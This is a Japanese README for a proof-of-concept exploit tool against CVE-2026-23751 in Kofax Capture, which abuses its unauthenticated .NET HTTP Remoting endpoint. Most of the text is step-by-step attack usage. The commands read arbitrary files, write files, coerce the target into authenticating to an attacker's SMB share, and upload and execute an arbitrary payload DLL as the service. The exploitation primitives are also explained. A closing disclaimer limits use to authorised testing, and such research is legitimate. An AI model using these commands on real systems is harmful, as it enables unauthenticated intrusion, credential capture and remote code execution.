
CVE-2026-23751(Tungsten Automation - Kofax Capture の未認証ファイル読み書き、リモートコード実行、および .NET HTTP Remoting 経由の SMB コオースション)を悪用するために RemotingClient にパッチを適用しました
Code White の NewRemotingTricks で解説されている .NET HTTP Remoting 手法の概念実証実装であり、Tungsten Automation Kofax Capture を対象としています。
タイトル: Tungsten Automation Kofax Capture における .NET HTTP Remoting を介した未認証のファイル読み取り/書き込みおよびコマンド実行
CVE: CVE-2026-23751
この PoC の著者(CVE の著者ではない): Filip Sanders, Siebren Kraak
CVE-2026-23751 は Tungsten Automation Kofax Capture に影響し、未認証のリモート攻撃者が Kofax Capture の ACService によって公開される .NET HTTP Remoting エンドポイントと対話できるようにします。
この脆弱性を悪用すると、Kofax Capture サービスのセキュリティコンテキストで以下の操作を実行できます:
この PoC は、Code White の NewRemotingTricks プロジェクトから関連する .NET Remoting 手法を再実装したものです。
この PoC は Kofax Capture の ACService HTTP Remoting エンドポイントを対象としています:
http://<target>:2424/ACService
ポート 2424 は、影響を受けるサービスが使用するデフォルトの HTTP Remoting ポートです。
この PoC は 3 つの操作をサポートしています:
read
write
exec
一般的な構文は次のとおりです:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
次の例では、ターゲットから Windows の hosts ファイルを読み取ります:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Kofax Capture の設定ファイルも同様に読み取ることができます:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
リモートリソースには file:// URI を使用してアクセスすることもできます:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
リモートの WebClient から返された内容は標準出力に書き込まれます。
Kofax Capture サービスからアクセス可能な場所にファイルを書き込むには、書き込み先のパスに続けて内容を指定します:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
提供されたコンテンツはUTF-8でエンコードされ、リモートでインスタンス化されたWebClientを使用してアップロードされます。
同じ機能をUNCパスと組み合わせて使用することで、リモートSMB共有に書き込むことができます:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
リモートリソースへのアクセス可否は、Kofax Capture サービスの権限とセキュリティコンテキストに依存します。
read 操作をリモートの file:// リソースと組み合わせて使用すると、ターゲットに攻撃者が制御する SMB リソースへアクセスさせることができます:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
これにより、対象環境とそのセキュリティ設定に応じて、影響を受けるホストが攻撃者の制御する SMB サーバーに対して認証を行う可能性があります。
exec 操作を使用すると、リモートの Kofax Capture サービスのコンテキストで、指定した .NET アセンブリを実行できます。
アセンブリはまずターゲットにアップロードされ、その後、リモートでインスタンス化された AssemblyInstaller を使用して読み込まれます:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
指定されたパスは、アップロードされたアセンブリの保存先として使用され、その後リモートの AssemblyInstaller に渡されます。アセンブリはサーバー側で読み込まれ、.NET Framework のインストール機構を通じてインストールされます。
実行後、PoC は以下の場所から実行出力を読み取ります:
C:\Windows\Temp\pwn_out.txt
ペイロードの正確な動作は Payload.dll の内容に依存します。
この脆弱性は、Kofax Capture の ACService による .NET HTTP Remoting の使用に関係しています。
.NET Remoting は、リモートの MarshalByRefObject インスタンスと通信するための仕組みを提供します。公開されているリモート処理エンドポイントと対話し、論理呼び出しコンテキストを操作することで、PoC は MarshalByRefObject を継承する .NET Framework クラスのリモートインスタンスを取得できます。
PoC はこの動作を利用して、以下をリモートインスタンスとして取得します:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
リモートでインスタンス化された WebClient は、その後、Kofax Capture サービスのコンテキストからファイルシステムおよびネットワーク操作を実行するために使用できます。
コマンド実行のために、PoC はリモートの WebClient を使用して Payload.dll をアップロードし、リモートの AssemblyInstaller を取得してそのアセンブリパスを設定し、インストール機構を呼び出します。これにより、指定されたアセンブリがターゲット上で読み込まれ、実行されます。
したがって、PoC は以下のプリミティブを実証します:
MarshalByRefObject インスタンスのリモートインスタンス化write 機能は現在、UTF-8 エンコードされた文字列データを操作します。追加のファイルタイプやペイロード形式は、ソースコードを変更することでサポートできます。
ACService へのネットワークアクセスRemotingClient_MBRO_Lazy.exeexec 操作を使用する場合の Payload.dllエクスプロイトに Kofax Capture サービスへの認証は不要です。
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
このリポジトリは、セキュリティ研究、脆弱性の検証、および許可されたペネトレーションテストの目的にのみ提供されています。
明示的な許可なくシステムに対してこの PoC を使用しないでください。著者は、このソフトウェアの悪用に起因する損害、データ損失、不正アクセス、その他の結果について一切の責任を負いません。